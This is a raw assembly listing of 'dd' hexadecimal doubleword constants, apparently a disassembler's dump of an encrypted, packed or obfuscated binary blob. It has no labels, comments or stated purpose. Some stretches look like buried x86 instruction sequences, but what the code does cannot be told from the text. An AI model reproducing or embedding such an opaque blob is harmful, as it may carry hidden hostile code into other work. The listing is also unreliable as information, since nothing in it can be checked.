		dd 218208A0h, 53FC4A03h, 822D7930h, 4E0324E1h, 52DFC8E1h
		dd 0B0FDB0D1h, 0D4DB44F1h, 0CA8FEB3h, 12DFD610h, 0EF7h
		dd 59BA4800h, 0F029763Fh, 98D7B8h, 0FFF20000h, 0B2FB9D5Ch
		dd 0A7433C6Dh, 0D6CBCF79h, 9EB9AF57h, 65A1A91Ah, 60AF57E7h
		dd 40E3EA4Bh, 0E78682C4h, 0D37CAF57h, 6103ACFAh, 44438B28h
		dd 3BAF57E7h, 31BB05AEh, 0D09681E8h, 66C96F96h,	0DD3B8FC6h
		dd 571515B7h, 44EFAF58h, 5DFFCFD4h, 76168F14h, 2B422BDEh
		dd 0E7D02841h, 0D55EF7BAh, 0C36FAECEh, 0EF19AD86h, 0AF58CD44h
		dd 24807DD7h, 0C96512DFh, 7FFFFFFEh, 72BFF294h,	0BAB4FF39h
		dd 33703559h, 48D1BEFAh, 35000003h, 245C0DA3h, 0C9E24F02h
		dd 99B8FA31h, 5CFF141Fh, 564E8815h, 58AF57D7h, 183B42E3h
		dd 1AF3BAD9h, 0D17D668Ch, 0F89B0494h, 7C551839h, 0D6FF3737h
		dd 81A4AF57h, 72A26BC8h, 63EB1DC9h, 5B6056Bh, 1317B1DFh
		dd 0F1B6056Bh, 6B7CBC46h, 0ED46B605h, 7EAA854Bh, 0F324C2DBh
		dd 0E93D8625h, 81000005h, 0B81BAFE6h, 0E748DE9Bh, 11B20841h
		dd 41E2387Dh, 52D96D20h, 1F52F31Fh, 4B06288Bh, 793054FFh
		dd 0AAE3822Dh, 2852881Ch, 0B60571F0h, 0BAAF94D2h, 22763F59h
		dd 7397DE7Dh, 73A5EC90h, 236E0F90h, 50193CE7h, 642949AAh
		dd 0C04AEE3Fh, 0A3923E5Fh, 0F75ED399h, 69F04FDh, 1A8B2865h
		dd 34ED327Bh, 4CD55A1Fh, 4734672Ah, 5BF05FDEh, 0FFB2D3DAh
		dd 0CD1703ABh, 9CDE12DFh, 61EA516Ch, 9AB8F03Eh,	263h, 0BB6E7ADh
		dd 0D64EA4A6h, 816AAE46h, 2D261220h, 4CC1EC31h,	5A000002h
		dd 0DF0BB6E7h, 0D71317B1h, 28F9AF57h, 0DCDE5606h, 56C26D7Dh
		dd 113E7A8Ch, 2B04AF58h, 102E4486h, 0D375AE47h,	0EB8C159Ah
		dd 8BA879A6h, 9AA03CEh,	0E44D268Ah, 30EBFAD6h, 0A5CA35ECh
		dd 88A48E0h, 9D000002h,	0DF0BB6E7h, 57D771ADh, 0E68C77AFh
		dd 60CB75A3h, 0D5E93BC3h, 2E85AE46h, 2D997585h,	0E47CEC31h
		dd 6000001h, 0DE6AAED8h, 0FF58AE46h, 0DE79B1CBh, 0E04BAE46h
		dd 0B6E76348h, 75ADDF0Bh, 6BAF57D7h, 0CACE588h,	52BD69C2h
		dd 1E53F431h, 9AF9891h,	0D642509Ah, 0F55EAE46h,	5C16602Ch
		dd 0A53F1AD0h, 0E2DE5ADEh, 5EC31A3h, 19Bh
		dd 0FA5A9DDFh, 0A67A1718h, 341F462Ch, 0B5E3D754h, 3B59BA6Eh
		dd 0DA792672h, 0EA377A1Bh, 8422D8B1h, 57D74642h, 85133CAFh
		dd 97DE7D26h, 48EAD573h, 478F9805h, 0AF57D743h,	0B5F09E01h
		dd 0D2463F68h, 0C67DDF68h, 0F677E620h, 0E24DB5FFh, 0F679BDBDh
		dd 42AB5FFh, 2543DC41h,	0DC4BC76Ch, 865CC453h, 6F6CEF74h
		dd 0B24CE0ADh, 78F97D79h, 3A910783h, 418D7979h,	55681477h
		dd 0B3000000h, 4FEFB5E7h, 0FF4C0FCBh, 0E13D710Ah, 221BFB7Ch
		dd 146B9D49h, 0CAB60020h, 95034AE9h, 0D01AC06Bh, 28B8EEBAh
		dd 3556B738h, 0B6E23B78h, 0B51115D5h, 0B7ADB600h, 32662B4Ch
		dd 6E94D859h, 0B4DCDCh,	6305A6B6h, 0BB94852Ah, 8CDB97Dh
		dd 0B2281477h, 0F3000000h, 88155CFFh, 0F63B7617h, 0AFEA8768h
		dd 96B82902h, 0D34556DBh, 0C360294Ch, 3C8AC362h, 57DB9BCAh
		dd 2C6508AFh, 0F23650FEh, 0D0AF57DAh, 0AD4B3167h, 906A2342h
		dd 818634D8h, 0F9810B0h, 4AF016ADh, 4BBAA2Ch, 48175BBh
		dd 586BBEFAh, 0E47E5AFh, 0DD7688A1h, 6C9B9F29h,	0CE69AF58h
		dd 0BB19C6Ah, 0B893B603h, 0CD80A102h, 0F8B5D679h, 272323C0h
		dd 0AD1695F3h, 354h, 86044DECh,	0F135701Dh, 27632A4Eh
		dd 1793D67Ch, 40C68BACh, 3B5CB6FBh, 0EF8F3076h,	99BB64A2h
		dd 4AE94AD0h, 0C5278703h, 5758783h, 103F7DB6h, 97135EFFh
		dd 0FA40092Ch, 155CFFDDh, 3D741788h, 0D7181FE9h, 2193AF57h
		dd 6FDA6C9Ah, 55B60002h, 0FF87ACFAh, 1788155Ch,	5256F074h
		dd 51AF57D7h, 0C36C7E37h, 948DC062h, 6507E816h,	296872Ch
		dd 7EAC1785h, 0FFF5A1CCh, 6BC863B5h, 0FFF5A3E3h, 0CB543FB5h
		dd 77CCD3CFh, 253A14h, 0E70D0000h, 0AED80EB5h, 0B600054Fh
		dd 3EC1A35h, 198A2E63h,	4D5D1h,	991AF1B6h, 77F8AD99h, 1054814h
		dd 0FFD30000h, 1788155Ch, 248F3B76h, 0B5E64B0Eh, 7C1F8063h
		dd 9172E835h, 2374B9FCh, 420B2AF5h, 0CCCC7EA4h,	0B6AF57D6h
		dd 4BB11B9Dh, 30D44201h, 55AD5E0Eh, 0C606B258h,	5C35540h
		dd 0AF58B1D2h, 0D3B84294h, 1A38708Ah, 210AAF58h, 0A9FF92A9h
		dd 4BEDC68Fh, 0B20841E4h, 0F63B7211h, 0ACE58768h, 0A219BB0Ch
		dd 59F5DE04h, 2586971Ch, 0B4E54A03h, 0FE77E264h, 0E24DB5FFh
		dd 82B1E3A4h, 0E42466E2h, 0DEB5FFFDh, 0DC6E9C75h, 0B5FFFDDCh
		dd 76948DA6h, 841E7C8h,	325472ABh, 0B5FFFDF6h, 333563CCh
		dd 0BCAAA006h, 4CB753FCh, 3A20662Bh, 0B8F0B5D9h, 0ED1B56F7h
		dd 0EC7F8E40h, 0E5E06142h, 7D000001h, 0AC1793DAh, 0DB44C287h
		dd 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh, 3F7214BFh
		dd 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B60575FCh,	0FF9B80C6h
		dd 6997135Eh, 0D781B9C3h, 6043AF57h, 0FE2F743Dh, 690C9305h
		dd 0E7BD9A20h, 0AED80EB5h, 0B600054Fh, 4AECD735h, 79819A07h
		dd 0B6000541h, 2489CC62h, 6F58F3F3h, 4FC38C2h, 4298B600h
		dd 5A6E224h, 0B39CB600h, 15258E65h, 1477F939h, 0CADCh
		dd 5454A600h, 0D3130246h, 19DDDD6Fh, 8CA7B600h,	0FF1E0593h
		dd 1788155Ch, 74F63B76h, 0AF57DC01h, 1CCA83A2h,	0F46C86DAh
		dd 68D9083Ah, 0A12B8DC4h, 89165FFEh, 0F317AC00h, 0FFF52249h
		dd 0B8DBC4B5h, 3D7BACF1h, 59E23813h, 609A40FBh,	0BCAA93D8h
		dd 4D08258Eh, 521F3FE0h, 0B5E3DCCDh, 4B06288Bh,	2EDCB5E6h
		dd 5DE9A4C5h, 0C35625B7h, 4C11F204h, 0A9DAFE3Ah, 726BC4BCh
		dd 95D87926h, 8053B473h, 68D9DAECh, 0DCh, 0E9CD574h, 79CD88A5h
		dd 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh
		dd 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 576FF3Bh, 9887C5B6h
		dd 97135EFFh, 0AFE68669h, 0CE87A609h, 0DE9BB718h, 0FFCBF05Ah
		dd 0B6FF9D5Ch, 0ACCF50DDh, 6F0ECF6Dh, 0B7A0F926h, 0C258316Ah
		dd 0BA60DB79h, 0D9CEDA1Ch, 1B647C8Ch, 1DFF4B9Dh, 6AC5B606h
		dd 0F8395CC5h, 0A733FA56h, 0BC3B1D23h, 0BA3CEAC3h, 0D3493C09h
		dd 6C016225h, 9A058F29h, 0EE14B2FBh, 6C85C5Ch, 9C0D26B6h
		dd 8063B5FCh, 91D4795Ah, 4B9D1B0Ch, 2853BD57h, 1D248D7Eh
		dd 50F3377Eh, 663F642Dh, 33598DC8h, 53BD9189h, 50D87328h
		dd 5C1132F3h, 65204ED7h, 82238838h, 3EE7CCF3h, 0C95D1437h
		dd 218EC766h, 3A0h, 0CBB07B00h,	8C1158FFh, 0F4397013h
		dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
		dd 60CD84A4h, 4AD792BFh, 0E08950FAh, 405h, 4E88300h, 8B240487h
		dd 0F682424h, 8900007Bh, 7668242Ch, 89000063h, 0B850241Ch
		dd 185612F4h, 0F702E0C1h, 54040D0h, 6805E0F2h, 5458C589h
		dd 83241C8Bh, 505104C4h, 8B8h, 58C18900h, 2989D901h, 2434FF59h
		dd 4C4835Bh, 5D2434FFh,	4C481h,	0D3E90000h, 9CFFFADBh
		dd 0ADA18CB8h, 0FFC50306h, 69475EE0h, 296DFE73h, 0FD1D6E46h
		dd 0EE15D651h, 3DD52E04h, 71A5A62Ch, 0CFD3B802h, 31204156h
		dd 19772B5Dh, 6A5F8575h, 1BA60E21h, 60C08B7Bh, 8E9h, 0FFD89800h
		dd 3B6FC2E8h, 0BF666072h, 22B68D9Dh, 0BD836161h, 6A81ED9h
		dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 3FCB8h
		dd 0B5858900h, 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h
		dd 6A82Dh, 53501774h, 3FCB8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
		dd 5BD3FF06h, 0F16BBA58h, 6A33D6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 2A3E08C3h, 11E9C0h, 57900000h
		dd 0FA16E893h, 316E7338h, 0A00700EBh, 66934341h, 8B51A3BAh
		dd 39D381C0h, 8310C566h, 0A8339DBDh, 840F0106h,	40h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D8C35747h, 83666312h
		dd 0A81725BDh, 850F0006h, 14h, 0BD83F98Ah, 6A80061h, 5A840F00h
		dd 66000000h, 1259F381h, 406E9h, 0FC00h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F37EDBC3h, 0C7F7F2AAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 28C35242h, 0E5F9E599h, 3800Fh, 8B660000h
		dd 0A98B2FDEh, 138FC62h, 0EA90087Ah, 0CC05CF44h, 363E40C7h
		dd 673E1629h, 0A467AAC1h, 4372CC98h, 437A23C5h,	673E4BC5h
		dd 0A46FE9C1h, 0B4D94CFBh, 98915FD1h, 8EE49E11h, 673E8F95h
		dd 8F6B45ABh, 673EA2C2h, 3AFD0CE1h, 631AC448h, 631A1040h
		dd 673E2AD9h, 3BFD4084h, 0F975E3FAh, 32E19741h,	673EA229h
		dd 8ABF0CC1h, 61930B15h, 8F6D54ABh, 673E2AC2h, 3CFD4EE1h
		dd 631AD648h, 631A0140h, 673EA2D7h, 0A8FD0282h,	0A7B5E753h
		dd 8F6954ABh, 673E2AC2h, 38FD4AE1h, 631AF648h, 631A0140h
		dd 673EA2DAh, 0B8FD0686h, 2D33BDE4h, 68A7ADA0h,	673E2344h
		dd 64BB1AC1h, 683E8AC1h, 0D4AE9B76h, 0EB31F254h, 673E51DBh
		dd 673EBA29h, 0E0EDF8C1h, 1512CDCAh, 2893072Bh,	8AE9F64Ah
		dd 0EC03D6DBh, 0DAEF911h, 64D606C1h, 473EA8C1h,	0EE61979Eh
		dd 0E63A0EBDh, 7E3A3185h, 203E8AC1h, 0F4DA8696h, 0A037C086h
		dd 1A855D73h, 6801BB18h, 991A18C0h, 673CA8CEh, 468915C1h
		dd 313EE099h, 673E4629h, 0A46082C1h, 434AD89Fh,	437A29C5h
		dd 673E42C5h, 0A4686CC1h, 8FACAC72h, 673E8AD3h,	5D3ECD4Bh
		dd 92F37E7Dh, 0D33E934Ah, 0F9DE4EC0h, 0DC58C594h, 6264B425h
		dd 673E17CDh, 673E8F28h
		dd 5494FFC1h, 6FB526AAh, 9701AE7Ah, 2FB5CEFEh, 353E3E3Dh
		dd 673E2929h, 0A46435C1h, 436A039Bh, 437AC4C5h,	673EB7C5h
		dd 0A46C13C1h, 0DD581FF1h, 6686945Bh, 683E2AC1h, 673E1647h
		dd 0BC8185C1h, 37EACF50h, 363EC850h, 673E5229h,	0A46788C1h
		dd 4372DD98h, 437AABC5h, 673E0CC5h, 0A46FCBC1h,	87B27569h
		dd 61D787C5h, 523E51C1h, 0B1EAC2CCh, 672ABD45h,	7D932AC1h
		dd 0EFBBC012h, 0EA292824h, 0BF640E34h, 0FF38390h, 92B45F70h
		dd 0DE724A7h, 64D607C1h, 473E2AC1h, 0EE65D69Ah,	0E63AAE9Dh
		dd 7C3A6185h, 243EA2C1h, 45C89292h, 53224FFAh, 0A6C836B3h
		dd 8DBB25C5h, 0D43E15C1h, 0EC31D39Bh, 673E45C6h, 0B7B5C4A1h
		dd 0E75F30A1h, 0E231C0F8h, 673E558Ah, 1EB58377h, 353E7FC0h
		dd 673E8929h, 0A46465C1h, 436A2B9Bh, 437AD0C5h,	673EBCC5h
		dd 0A46C16C1h, 8DECAB71h, 365B27FEh, 9FC0BA7h, 98BF1F80h
		dd 0E73EA2C1h, 662FD3CEh, 6754A8C1h, 673DBC93h,	3D1E2AC1h
		dd 33B74F02h, 23BF8EE5h, 672A41E5h, 357CA2C1h, 8DBF7A02h
		dd 0FC7E428h, 0C41FD106h, 673F2C6Ch, 8CBF15C1h,	492BABB8h
		dd 673F5328h, 363EC8C1h, 673E5229h, 0A46788C1h,	4372DD98h
		dd 437AABC5h, 673E0FC5h, 0A46FCBC1h, 33ADA65Eh,	8E786A8Eh
		dd 673E51CEh, 0C03DF47Dh, 0C144D18Eh, 0A0BC0B0Dh, 8E270AA8h
		dd 673E8A5Eh, 8F6F45ABh, 673EA2C2h, 3EFD08E1h, 631AE448h
		dd 631A1040h, 673E2AD5h, 1BFD4480h, 0E658D992h,	3C02872Bh
		dd 1CBFB9Bh, 98352842h,	67532CCEh, 675454C1h, 673DC291h
		dd 3F1E15C1h, 23B7D202h, 23BF41E5h, 6728A6E5h, 377E51C1h
		dd 2DB88C02h, 1FE0EFA7h, 0C60D91A1h, 0D8314A02h, 0E2F9EB19h
		dd 6193E6E0h, 673EA2C0h, 8F6951ABh, 673EA8C2h, 38FD0BE1h
		dd 631A5648h, 631A5140h, 673E8ADDh, 0FBFD1286h,	1C42AD91h
		dd 0CB39FD10h, 61B1A7A1h, 0E63E54C1h, 8841DF2Eh, 91E5ACF0h
		dd 2F5FAE2Bh, 8F6F45ABh, 673EA2C2h, 3EFD08E1h, 631AE448h
		dd 631A1040h, 673E2ADDh, 0E9FD4480h, 0D016FE70h, 85EA43B5h
		dd 673EAA28h, 36EC31C1h, 0CC903CBAh, 0EF31049Fh, 673E2AC3h
		dd 0DE64E54Bh, 622321C9h, 0CE70C04Ch, 0DAB3A46Ch, 6193F683h
		dd 604A50FAh, 0AEEF5BF1h, 0DCBC186h, 64D646C1h,	473E8AC1h
		dd 0EE65869Ah, 0E63A869Dh, 733A7585h, 243EA8C1h, 68FB9792h
		dd 673E2044h, 63BD1AC1h, 13E8AC1h, 0E4242D7Ah, 0CF0D3F7Ch
		dd 0E33150C7h, 673EA894h, 0F498067Ah, 4283A9D9h, 6738BDD6h
		dd 677D0FCEh, 6AD745C1h, 5C3EA2C1h, 0E4602EF4h,	0DE07E5Fh
		dd 0D7E6C786h, 675F9742h, 683E1369h, 673ED145h,	373E2FC1h
		dd 673EA129h, 0A46671C1h, 437A2199h, 437AD5C5h,	673E3CC5h
		dd 0A46E55C1h, 0E6B7C064h, 28B5112Ah, 66144BE9h, 675451C1h
		dd 673D4094h, 3A1E54C1h, 0BB77702h, 23BF11E5h, 67258EE5h
		dd 327B45C1h, 3B325402h, 4C83F132h, 64B6A7F0h, 13E54C1h
		dd 85BFFC4Ah, 5BB17BEEh, 54A33742h, 683F4369h, 673ED144h
		dd 353E3BC1h, 673EAB29h, 0A46474C1h, 436AA39Bh,	437A94C5h
		dd 673E9DC5h, 0A46C07C1h, 2C7B8B74h, 0C78AA97Ah, 6754F5DDh
		dd 673DBC91h, 3F1E2AC1h, 23B74D02h, 23BF8EE5h, 672941E5h
		dd 377EA2C1h, 0D6E23102h, 0B6B5CEBBh, 85BF3202h, 0FED76913h
		dd 0D3E15C1h, 64D6DFC1h, 473E45C1h, 0EE63619Ch,	0E63A75ADh
		dd 703A8C85h, 223E54C1h, 2D7FE994h, 0BB8DFF4Ch,	313EE09Ch
		dd 673E4629h, 0A46082C1h, 434AD89Fh, 437A29C5h,	673E4CC5h
		dd 0A4686CC1h, 43EC304Bh, 0E9DC0AD3h, 6733C5CEh, 6FD7A2C1h
		dd 763E51C1h, 888ADEA0h, 0A8D5EAABh, 8F6D2AABh,	673E15C2h
		dd 3CFDD1E1h, 631A1948h, 631AE640h, 673E51D6h, 0C0FDFB82h
		dd 8F7D52FCh, 673E2AD0h, 0BBEE3F2Fh, 0C3FF0240h, 6129C0ABh
		dd 836604h, 0E6583130h,	604FA28h, 0B4B5329Bh, 0C44E974Ch
		dd 0EAB3136Ch, 619323DAh, 5D625879h, 72BB91BAh,	4C38F9D4h
		dd 21C9DE0Eh, 0C04C6223h, 0A46CCE70h, 0F683DAB3h, 50FA6193h
		dd 5BF1604Ah, 0C186AEEFh, 0F305E983h, 21BD83A4h, 6ADA3h
		dd 8D8D0D74h, 6A84FAFh,	1B8h, 40E1FF00h, 4820Fh, 0BA660000h
		dd 830FE440h, 1, 2DE883F9h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 41C35242h, 0A1B88632h, 0F11D7C0h, 489h
		dd 6BB6600h, 81C08B5Ah,	681EE6CAh, 0D9BD8331h, 6A81Eh
		dd 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h,	3FCh, 0FD58589h
		dd 9D8D06A8h, 6AAA213h,	585BD3FFh, 2DE9BD83h, 740006A8h
		dd 0B8535017h, 3FCh, 0FD58589h,	9D8D06A8h, 6AA9EB4h, 585BD3FFh
		dd 0B1EB8DBAh, 0F6816004h, 75F34DBFh, 61D6BF0Fh, 8D8DC08Bh
		dd 6ADAAC1h, 288D9509h,	8D8906A8h, 6A805B9h, 85C7DA8Bh
		dd 6A81469h, 695Ch, 348DB52Bh, 85C706A8h, 6A80BBDh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4DC35747h
		dd 0D8D0Fh, 8E90000h, 3C000000h, 0F1A8AC64h, 0FF907A57h
		dd 0A814A1B5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0EB86F72Bh, 0A8C8D1DFh
		dd 16B59533h, 5E906A8h,	0F3000000h, 2D9CF564h, 20DD95FFh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 28890BC3h, 9EEFDF2h, 51BD893Bh, 6A06A821h
		dd 3195FF00h, 8B06A81Bh, 0FF29EBC0h, 9AF4AA85h,	54839CE3h
		dd 15D734FFh, 380AB2C7h, 6C114463h, 0C0711DDCh,	0B434AE87h
		dd 0FF587185h, 30ECF368h, 0ED2BA960h, 24E9h, 0F0B14300h
		dd 73h,	7 dup(0)
		dd 0C03E900h, 99680000h, 0E906ADACh, 0FFFB9B24h, 0ADAD8768h
		dd 9B1AE906h, 5468FFFBh, 0E906ADAFh, 0FFFB9B10h, 0ADB04068h
		dd 9B06E906h, 868FFFBh,	0E906ADB3h, 0FFFB9AFCh,	0ADB48068h
		dd 9AF2E906h, 5A68FFFBh, 0E906ADB5h, 0FFFB9AE8h, 9637CDB1h
		dd 2340B620h, 0AFCC30AFh, 3152AEDBh, 0BEDF255Dh, 3BA7571Fh
		dd 0B02E9CC1h, 2C592D4Eh, 94C7BBD8h, 0FE014360h, 0C55709Ch
		dd 0DDF43D58h, 0D94DB9D2h, 5D26FF06h, 7569BE91h, 629A844Dh
		dd 5BDABDB4h, 6704F0EBh, 48F9BB24h, 5EE11D4Ah, 564841A1h
		dd 5B575BF9h, 0E544D622h, 0B664BF22h, 0F978E40Ch, 15BA5EA7h
		dd 1F98DDFBh, 41C156h, 0E56E0000h, 4081BEFCh, 3BEB1772h
		dd 2EEB37F6h, 0F35BF9E2h, 2C4E8FB0h, 0A7F62D80h, 43D352CDh
		dd 0F62D71A1h, 8807CBA7h, 0EC0E84FFh, 8F747CB9h, 741C2348h
		dd 32F58C46h, 1F063254h, 0CE3C56h, 0D2050000h, 4BD94DB9h
		dd 7185F61Fh, 649D7CBDh, 0A8D716Eh, 0A5510A98h,	0F9E0EEF1h
		dd 0EF109105h, 0A1FE678Fh, 30F3325Eh, 0E41DE982h, 4B1DDC99h
		dd 4ACD6E1Eh, 0EE9A1829h, 1E238614h, 0A18950FCh, 3821D5Eh
		dd 0A18ED6DFh, 6F9BCC5Eh, 0C57191D2h, 905EA18Ch, 99ED8E11h
		dd 0D881AEEh, 7999A6E4h, 5BF98F6Ch, 0F6B5D649h,	54B64B09h
		dd 0A2A03590h, 717D821Dh, 0FCD2F309h, 0E59C7E84h, 13F8E31h
		dd 9B32293h, 1B4B0000h,	9CCEBCE1h, 0E75496Ah, 84FDD1F2h
		dd 7B675B78h, 3539DC81h, 0C6E71D45h, 57748AF0h,	0DDFE0A63h
		dd 690AFEE9h, 5AF2145Bh, 17580C52h, 0B6D2A79Ah,	0A5C31928h
		dd 0D554C632h, 2EC0CA16h, 56DB4BBFh, 37714F7h, 28FF9C68h
		dd 81BEFCE5h, 0F9E25861h, 0DC8B075Bh, 57FF1F20h, 22A7F62Ch
		dd 29D0083h, 2CC26E90h,	37A0A7F6h, 0A4DD53C3h, 374CA58h
		dd 0F18227F7h, 1DB9903Fh, 9ABC527Dh, 84561EE0h,	0BCh, 4DB9D2ADh
		dd 0E51F4BD9h, 0F9068F31h, 4B3C5EA1h, 214182BFh, 0A15E05F5h
		dd 1A9A61C0h, 9F3C91AEh, 7B4F2CEFh, 0A726F400h,	0A7C7783Ah
		dd 0A40619BEh, 800BA8FBh, 0FA1C2567h, 0A2AFA9CDh, 5DA1DED4h
		dd 3AA968C9h, 96798DF8h, 947D6569h, 8AB716ECh, 5754E473h
		dd 88B4154h, 916B176Bh,	8EBDE22Dh, 75D84A3Fh, 8C5h, 0B2D32955h
		dd 3F5CAADCh, 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h
		dd 9CCAB8DDh, 184D4162h, 80FBCFECh, 0EA2D5774h,	0C536C88h
		dd 0B1E02958h, 2D5FB6D2h, 7E64BDBh, 29515D66h, 89E250D3h
		dd 0DC27587Dh, 0A40A8299h, 88EA17AFh, 5EA1026Ch, 2437F629h
		dd 2D5EB9D2h, 5E445D9h,	0CFA281FCh, 4ED09D11h, 0AF7F8BFCh
		dd 851B8B0Ah, 68526D2h,	68669BD9h, 10EC9B7Eh, 0FDBCFDB1h
		dd 7A5BE204h, 8D145BF9h, 37D08B19h, 45E4B64Ah, 9ACDC1E2h
		dd 0C402BC6Eh, 40087D9Dh, 32A59F30h, 169CA5C6h,	9F02906Ah
		dd 0C93DAE1Ch, 53048A55h, 973AE4A7h, 363B75A7h,	545A2D62h
		dd 0FD51D02Eh, 0CDC17E8Ah, 0F40E7A97h, 61208115h, 29DD8EFCh
		dd 57136A75h, 41D0C055h, 75A27C3Fh, 0C2709F86h,	0E4EA9D32h
		dd 378706FCh, 4E8FB044h, 75EC802Ch, 0FD36CD3Bh,	0DEED4A4Eh
		dd 5F3CFF5Eh, 0C93DA826h, 0E155D455h, 5E666F6h,	31B7E65Dh
		dd 9079DC4Eh, 90CD2DD2h, 1D3E2D20h, 8614E891h, 0E1B54930h
		dd 5D7EE140h, 4EF3B15Eh, 0D564192Ch, 6B3B6A04h,	257F18B9h
		dd 2061A206h, 257F963Eh, 0C140E306h, 0C8EE008Fh, 0D6B54B93h
		dd 48Ch, 1C9C0D7Bh, 4F90B1F3h, 0A1FE872Fh, 0ED0DD25Eh
		dd 5EA1FE41h, 7332950Ch, 0B4364D8Eh, 7C1903E7h,	229B47C6h
		dd 0F5BF994h, 6D106B94h, 0F60ADEEFh, 0AAC224DDh, 0E7A7F972h
		dd 0CA1CFDBCh, 0CB03233Fh, 0BF7ECE2h, 8618729Bh, 4182924Fh
		dd 3FD85FDEh, 0E7A2C47Dh, 0A8477195h, 545AA579h, 0E544D62Ch
		dd 783AA722h, 9648A7C7h, 89054E19h, 367B2BD1h, 0B324AA57h
		dd 27502647h, 0FF2A73D3h, 0C9EC21Bh, 6F881h, 24DE8600h
		dd 0AF593387h, 3FC3B80Eh, 4DB1289Eh, 0D42E5A28h, 0BE6014B7h
		dd 279B38C2h, 502647B9h, 0DEACD125h, 83459ADh, 510FA7C7h
		dd 0CD4A580Ch, 4DB9D2D2h, 0BF433EB4h, 19956EFCh, 0AB0E9C60h
		dd 0D12D5AE8h, 0D3E1ACh, 0E50E0000h, 6F90BCFEh,	3DFC0863h
		dd 791F5756h, 129EB856h, 73805CC7h, 91000000h, 83BCFEE5h
		dd 5613E578h, 0A6698EB6h, 2983959h, 4AD55EA1h, 0E5114AD8h
		dd 6D99F2C0h, 95B35CB9h, 1DA9EA12h, 0D26FCE96h,	0DF5EA4DCh
		dd 7679C022h, 0AA285BF9h, 0D944C733h, 0B042B946h, 0B1C3072Bh
		dd 571D9110h, 638BEB2Ch, 2EA7F934h, 4B4434F7h, 469DC13Ch
		dd 0F4E71BCAh, 63832B4Bh, 57CEA7F9h, 0B594B2D4h, 79A561Fh
		dd 0A7000000h, 0D6EDh, 0FCE50200h, 586181BEh, 655BF9D0h
		dd 3543583Ah, 71E33474h, 60C1Ch, 8F29200h, 9365176Bh, 1BE79CF2h
		dd 0A15D047Ah, 28D28EFCh, 928CE08Bh, 1B6F0CF6h,	9CF2936Dh
		dd 0A781DE9h, 0FC00A551h, 4E335BBBh, 317E580Ch,	0BCFEE51Eh
		dd 8A1DFD90h, 707323DFh, 0A1FEE60Eh, 8270B35Eh,	4A8519E5h
		dd 6B200986h, 0A6DDAAE5h, 7A6DBDADh, 1B644B8Eh,	103650D3h
		dd 1E5CC7F7h, 47h, 0BCFEE523h, 0B11BFD90h, 0F81EF0DFh
		dd 0E65CC70Eh, 33h, 0AFFEE54Bh,	0D958CA3Eh, 2E27DA76h
		dd 4623AF50h, 0C649E8BAh, 244F19B6h, 4D5EA206h,	0BD413EB4h
		dd 0E21875BEh, 26E9713Eh, 0C6BE2740h, 0FEB5095Ch, 0E516FFFFh
		dd 0FD90BCFEh, 0A9E66AF4h, 0C70F2147h, 25E0D5Ch, 9F120000h
		dd 0EC293B64h, 0F1B03183h, 4FDF255Dh, 0AE7C80F9h, 0E9C6218h
		dd 697BDECFh, 483A7209h, 21B68F1Fh, 6CA65B01h, 0A050198Dh
		dd 54A0D5EFh, 948063C6h, 91C9F3DCh, 0C744A6Bh, 38A124F6h
		dd 0E4A5C57Ah, 0A95BF975h, 10827E65h, 537C2E91h, 87FDF132h
		dd 0DA04A579h, 0A7F98FB2h, 93E5A4FFh, 0A05A063Ch, 4DD38F03h
		dd 3A536B97h, 5BDF0BCEh, 0C7F9AD0Ch, 0A7F9DFABh, 0B5699FC9h
		dd 0F6937467h, 64FBAB0Ah, 0A1D2FBD4h, 8E781260h, 6A1A9D1Ch
		dd 245C5225h, 0F3EF5FDEh, 6A166409h, 0BAC10290h, 0BEA01F2Dh
		dd 0A7F91A16h, 0C505C063h, 109716FCh, 0C03AA6F7h, 7FCF52h
		dd 288B2EFCh, 14E09B17h, 0D9638BEBh, 0F72EA7F9h, 48ACB34h
		dd 3CE2A551h, 0A2A1CE01h, 71923372h, 3AFD0B7Dh,	0EF1052BFh
		dd 5616568Fh, 52C063A9h, 0A61A04B0h, 0A6E9BFB2h, 0F30C4EABh
		dd 0FE094A93h, 9F3C67B7h, 0D644B02Bh, 7F871740h, 0E512E8AEh
		dd 7E3D5EC1h, 0CC2ED391h, 0BEA614FDh, 0B78659A4h, 85975A0Dh
		dd 0E4B64A31h, 9A5FC245h, 1D916D14h, 932A429Ch,	3C678016h
		dd 0B12EA45Dh, 0D958D94Dh, 93779B45h, 82CD8016h, 0ADA8560Ch
		dd 39F7F560h, 5D2FEEA0h, 757A9C72h, 3F643B7Eh, 0CD000000h
		dd 81BEFCE5h, 0F9E25861h, 0EE5E655Bh, 23C455ACh, 0FBC92C53h
		dd 0EEBF597Ch, 0CD659F0Fh, 77A7F680h, 7ABBCCC3h, 0F680FC18h
		dd 1E8DE1A7h, 52F6813Ah, 0B5D554CFh, 561E3B93h,	0B19Bh
		dd 0B9D2A400h, 403EB44Dh, 0CA4DECBEh, 697C8758h, 5FFDDA0Ah
		dd 7886FC4Eh, 368407AAh, 0ACE2B04Ah, 0F132CF3Bh, 0A1A26591h
		dd 9B6D1F5Eh, 0B3299D04h, 8758CA4Dh, 0E0A35D0Bh, 34CD3952h
		dd 6F3FC3BEh, 382A4BCAh, 5EA1A5FDh, 32A8D6DCh, 6FD48467h
